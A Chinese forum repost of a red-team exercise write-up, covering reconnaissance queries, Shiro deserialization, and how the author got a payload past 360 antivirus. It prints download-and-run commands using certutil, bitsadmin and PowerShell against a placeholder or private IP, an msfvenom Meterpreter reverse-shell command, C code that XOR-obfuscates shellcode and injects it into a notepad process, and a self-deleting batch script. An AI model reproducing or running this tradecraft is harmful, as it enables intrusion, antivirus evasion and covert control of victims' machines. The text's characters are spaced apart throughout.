设为首页收藏本站
切换到窄版

 找回密码
 立即注册
搜索
热搜: 活动 交友 discuz
Nmaps Club»论坛 › Pentests Wiki › Wiki › 护网 › [18260] 2021-01-15_记一次攻防演练tips攻防tips ...
返回列表 发新帖
查看: 1|回复: 0

[18260] 2021-01-15_记一次攻防演练tips攻防tips

[复制链接]
s7ckTeam

6万

主题

-6万

回帖

-58

积分

管理员

积分
-58
发表于 5 天前 | 显示全部楼层 |阅读模式
2021-01-15_记一次攻防演练tips攻防tips 记 一 次 攻 防 演 练 t i p s   |   攻 防 t i p s H A C K 之 道   2 0 2 1 - 0 1 - 1 5 以 下 文 章 来 源 于 漫 流 砂   ， 作 者 意 大 利 的 猫 现 在 我 依 稀 记 得 大 家 在 9 月 2 5 日 晚 集 体 过 年 的 场 景 ， 没 想 到 的 是 ： 那 t m 只 是 开 始 这 一 段 时 间 一 直 在 打 攻 防 ， 重 复 、 单 调 、 无 长 进 ， 希 望 早 日 脱 离 苦 海 吧 下 面 以 攻 防 过 程 中 的 一 段 经 历 来 展 现 一 些 有 意 思 的 t i p s 0 x 0 1   信 息 收 集 信 息 收 集 关 于 信 息 收 集 ， 已 经 有 方 法 论 类 的 东 西 总 结 的 很 好 了 ， 我 只 说 我 喜 欢 的 , 以 百 度 代 替 真 实 站 点 f o f a d o m a i n = " b a i d u . c o m " h o s t = " b a i d u . c o m " t i t l e = " b a i d u " t i t l e = " 百 度 " t i t l e = " 百 度 一 下 ， 你 就 知 道 " b o d y = " ( 京 ) - 经 营 性 - 2 0 1 7 - 0 0 2 0 " b o d y = " 京 公 网 安 备 1 1 0 0 0 0 0 2 0 0 0 0 0 1 号 " b o d y = " 京 I C P 证 0 3 0 1 7 3 号 " i c o n _ h a s h = " - 1 5 0 7 5 6 7 0 6 7 " c e r t = " b a i d u . c o m " 组 合 起 来 就 是 ： ( h o s t = " b a i d u . c o m "   | |   d o m a i n = " b a i d u . c o m "   | |   t i t l e = " b a i d u "   | |   t i t l e = " 百 度 "   | |   t i t l e = " 百 度 一 下 ， 你 就 知 道 "   | |   b o d y = " ( 京 ) - 经 营 性 - 2 0 1 7 - 0 0 2 0 "   | |   b o d y = " 京 公 网 安 备 1 1 0 0 0 0 0 2 0 0 0 0 0 1 号 "   | |   b o d y = " 京 I C P 证 0 3 0 1 7 3 号 "   | |   i c o n _ h a s h = " - 1 5 0 7 5 6 7 0 6 7 "   | |   c e r t = " b a i d u . c o m " ) & &   c o u n t r y = " C N "   & &   r e g i o n ! = " H K "   & &   r e g i o n ! = " T W " 漫 流 砂 漫 流 砂   . 有 态 度 ， 不 苟 同   N o   S y s t e m   I s   S a f e ！
导 出 结 果 可 以 使 用 f o f a 客 户 端 子 域 名 挖 掘 O n e f o r A l l s u b D o m a i n s B r u t e t h e H a r v e s t e r 邮 箱 G o o g l e s i t e : g i t h u b . c o m   @ b a i d u . c o m t h e H a r v e s t e r 挂 代 理 0 x 0 2   资 产 梳 理 资 产 梳 理 g o b y   内 测 版 安 装 好 插 件 勾 选   u p n p 等 协 议 的 发 现 给 定 的 全 部 端 口
N m a p   辅 助 - s V - O - - s c r i p t = b a n n e r , v u l n , e x p l o i t , b r u t e 0 x 0 3   摸 点 摸 点 网 络 设 备 、 安 全 设 备 的 默 认 口 令 W e b l o g i c 、 S t r u t s 2   远 程 代 码 执 行 t o m c a t   默 认 口 令 s h i r o   反 序 列 化 这 次 的 目 标 就 是 从   s h i r o   默 认 k e y   反 序 列 化 开 始 的 默 认 k e y ， 使 用   C o m m o n s C o l l e c t i o n s 1 0   测 试 是 否 出 网
稳 了 呀 ！ 0 x 0 4   g e t s h e l l 下 马 ， 上 线 在 c s 上 等 了 很 久 也 没 有 等 到 上 线 ， 到 v p s 上 一 看 ， 发 现 目 标 并 没 有 发 起 下 载 请 求 ， 心 中 暗 叫 一 声 不 好 ， 估 计 有 e d r t a s k l i s t   看 一 下 c e r t u t i l   - u r l c a c h e   - s p l i t   - f   h t t p : / / x x . x x . x x . x x / r o b o t s . t x t   C : U s e r s a d m i n a . e x e   & &   C : U s e r s a d m i n a . e x e
果 然 ， 有 3 6 0 ， 这 个 时 候 就 需 要 考 虑 两 件 事 了 下 载 动 作 需 要 免 杀 木 马 需 要 免 杀 3 6 0   是 出 了 名 的 疯 ，   起 个 p o w e r s h e l l ， v b s 没 干 啥 就 会 拦 截 但 是 ， 作 为 一 个 怀 旧 （ 啥 也 不 会 ） 的 人 ， 我 还 是 打 算 把 之 前 的 方 法 试 一 试 1 .   p o w e r s h e l l 2 .   b i t s a d m i n 还 有 很 多 ， 具 体 参 照 下 面 这 篇 文 章 h t t p s : / / x z . a l i y u n . c o m / t / 1 6 4 9 # t o c - 5 但 是 无 一 意 外 的 被 3 6 0 干 掉 ， 没 招 了 ， 只 能 自 力 更 生 了 接 下 来 就 是 本 文 的 重 点 了 接 下 来 就 是 本 文 的 重 点 了 p o w e r s h e l l 正 常 的 p o w e r s h e l l 下 载 文 件 确 实 会 被 干 掉 ： p o w e r s h e l l   ( n e w - o b j e c t   S y s t e m . N e t . W e b C l i e n t ) . D o w n l o a d F i l e ( '   h t t p : / / x x . x x . x x . x x / r o b o t s . t x t ' , ' C : U s e r s a d m i n a . e x e ' ) ; s t a r t - p r o c e s s   ' C : U s e r s a d m i n a . e x e ' b i t s a d m i n   / t r a n s f e r   n   h t t p : / / x x . x x . x x . x x / r o b o t s . t x t   C : U s e r s a d m i n a . e x e   & &   C : U s e r s a d m i n a . e x e
但 是 可 以 通 过 来 进 行 绕 过 ： 但 是 要 注 意 ， 如 果 目 标 目 录 为 桌 面 或 者 s y s t e m 3 2 ， 3 6 0 仍 然 会 产 生 提 醒 ， 但 是 文 件 仍 然 会 下 载 下 来 ， 且 可 以 正 常 执 行 ： e c h o   ( n e w - o b j e c t   S y s t e m . N e t . W e b C l i e n t ) . D o w n l o a d F i l e ( ' h t t p : / / 1 9 2 . 1 6 8 . 3 1 . 9 3 : 8 0 0 0 / t o m c a t . e x e ' , ' C : / U s e r s / t e s t / c c . e x e ' ) |   p o w e r s h e l l   -
c e r t u t i l 如 果 目 标 机 器 较 老 ， 很 可 能 不 存 在 p o w e r s h e l l ， 此 时 就 需 要 使 用 一 些 老 方 法 ， 即 c e r t u t i l c e r t u t i l 绕 过 3 6 0 的 方 式 网 上 已 经 有 了 （ 记 一 次 渗 透 测 试 后 引 发 的 小 扩 展 ） ， 这 里 再 提 一 个 c e r t u t i l 编 码 解 码 。 w i n d o w s 不 像 l i n u x ， 自 带 b a s e 6 4 编 码 解 码 ， 但 是   c e r t u t i l   可 以 通 过 编 码 指 令 将 e x e 编 码 生 成 t x t 文 件 ， 然 后 通 过   e c h o   写 入 ， 再 调 用   c e r t u t i l   解 码 还 原 为 P E 文 件 c e r t u t i l   - e n c o d e   x . e x e   x . t x t c e r t u t i l   - d e c o d e   x . t x t   x . e x e
但 是 此 时 还 有 一 个 问 题 ， 就 是 e c h o 无 法 一 次 性 写 入 ， 需 要 换 行 ， 但 是 马 编 码 后 太 长 ， 所 以 不 太 方 便 。 暂 时 想 到 两 个 解 决 办 法 ： p y t h o n 脚 本 边 读 本 地 t x t 边 e c h o 到 对 方 服 务 器 写 一 个 小 程 序 ， 作 用 是 在 当 前 目 录 输 出 t x t ， 再 通 过 压 缩 的 方 式 压 缩 程 序 大 小 ， 再 通 过 c e r t u t i l 编 码 写 入 解 码 执 行 木 马 免 杀 解 决 了 下 载 问 题 ， 接 下 来 就 是 木 马 免 杀 ， 这 次 我 就 不 再 怀 旧 了 ， 毕 竟 也 没 啥 用 ， 直 接 上 部 分 干 货 吧 用 c 写 木 马 ， 一 般 绕 不 过 两 个 问 题 ： s h e l l c o d e 编 码 免 杀 s h e l l c o d e 加 载 方 式 免 杀 单 纯 使 用 m e t a s l p o i t 生 成 s h e l l c o d e ： 不 管 使 用 什 么 加 载 方 式 ， 如 果 只 是 单 纯 的 加 载 这 种 s h e l l c o d e ， 是 一 定 会 被 杀 毒 软 件 查 杀 的 ， 网 上 有 人 提 出 用 m s f v e n o m 自 带 的 编 码 器 编 码 ， 我 尝 试 了 一 下 ， 仍 然 会 被 火 绒 k i l l ， 所 以 这 里 可 以 自 己 去 编 码 ： m s f v e n o m   - p   w i n d o w s / x 6 4 / m e t e r p r e t e r / r e v e r s e _ t c p   L H O S T = 1 9 2 . 1 6 8 . 3 1 . 9 3   L P O R T = 1 2 3 4   - f   c   >   ~ / D e s k t o p / t e x t . c
就 这 样 一 个 很 简 单 的 异 或 + 减 去 一 个 随 机 字 符 ， 就 可 以 绕 过 杀 软 对 s h e l l c o d e   的 静 态 查 杀 ， 当 然 木 马 也 需 要 进 行 相 应 的 解 码 。 s h e l l c o d e 加 载 方 式 现 在 也 有 很 多 ， 传 统 的 方 法 是 开 辟 一 块 地 址 空 间 存 放 s h e l l c o d e ， 并 将 E I P / R I P 指 向 该 地 址 。 我 这 里 选 择 线 程 注 入 的 方 式 来 做 到 隐 蔽 和 免 杀 。 使 用 创 建 n o t e p a d 进 程 ， 然 后 开 辟 一 块 B u f f e r ， 将   s h e l l c o d e   写 入   b u f f e r ， 再 使 用 开 辟 一 块 线 程 并 将   r i p   指 向 b u f f e r ， 就 可 执 行 对 应 的 s h e l l c o d e 。 通 过 此 方 法 即 可 做 到 免 杀 ， 且 进 程 为 n o t e p a d ， 隐 蔽 性 极 强 ：         i n t   k e y   =   0 x 1 a ;         u n s i g n e d   c h a r   s h e l l c o d e [ s i z e o f ( b u f ) ]   =   " " ;         f o r   ( i n t   i   =   0 ;   i   <   s i z e o f ( b u f )   -   1 ;   i + + )         {                 s h e l l c o d e [ i ]   =   ( b u f [ i ]   ^   k e y )   -   0 x 4 ;         } C r e a t e P r o c e s s A ( N U L L ,   ( L P S T R ) " n o t e p a d " ,   N U L L ,   N U L L ,   F A L S E ,   N U L L ,   N U L L ,   N U L L ,   & s i ,   & p i ) ; G e t T h r e a d C o n t e x t ( p i . h T h r e a d ,   & c t x ) ; c t x . R i p   =   ( D W O R D 6 4 ) l p B u f f e r ;
这 里 再 提 一 个 隐 蔽 的 t i p s ， 就 是 自 删 除 ， 我 采 用 的 方 式 是 b a t + 自 解 压 （ 自 解 压 的 详 细 操 作 在 p h i s h i n g 中 ） ， 这 里 附 上 b a t 脚 本 ： 0 x 0 5   内 网 渗 透 内 网 渗 透 我 对 于 攻 防 比 赛 中 的 内 网 渗 透 是 及 其 反 感 的 ， 迫 于 得 分 ， 所 以 不 得 不 去 做 一 些 体 力 活 ， 但 是 这 种 东 西 做 的 再 多 也 没 有 意 义 f r p   设 置 s o c k s 5 代 理 并 进 行 端 口 映 射 公 网 v p s   f r p s . i n i @ E C H O   O F F s e t   a = y . e x e                                                         r e m   定 义 a 为 马 的 名 称 s e t   b = " % c d % % a % "                                 r e m   定 义 b 为 马 的 路 径         d e l   / f   / a   / q   % s f x c m d %                 r e m   删 除 自 解 压 程 序 d e l   / f   / a   / q   % b %                                 r e m   删 除 马 d e l   / f   / a   / q   % 0 %                                 r e m   删 除 b a t 自 身
回复

举报

返回列表 发新帖
高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver|手机版|小黑屋|Nmaps Club

GMT+8, 2025-1-23 10:34 , Processed in 0.715004 second(s), 30 queries .

Powered by Discuz! X3.5

© 2001-2025 Discuz! Team.

快速回复 返回顶部 返回列表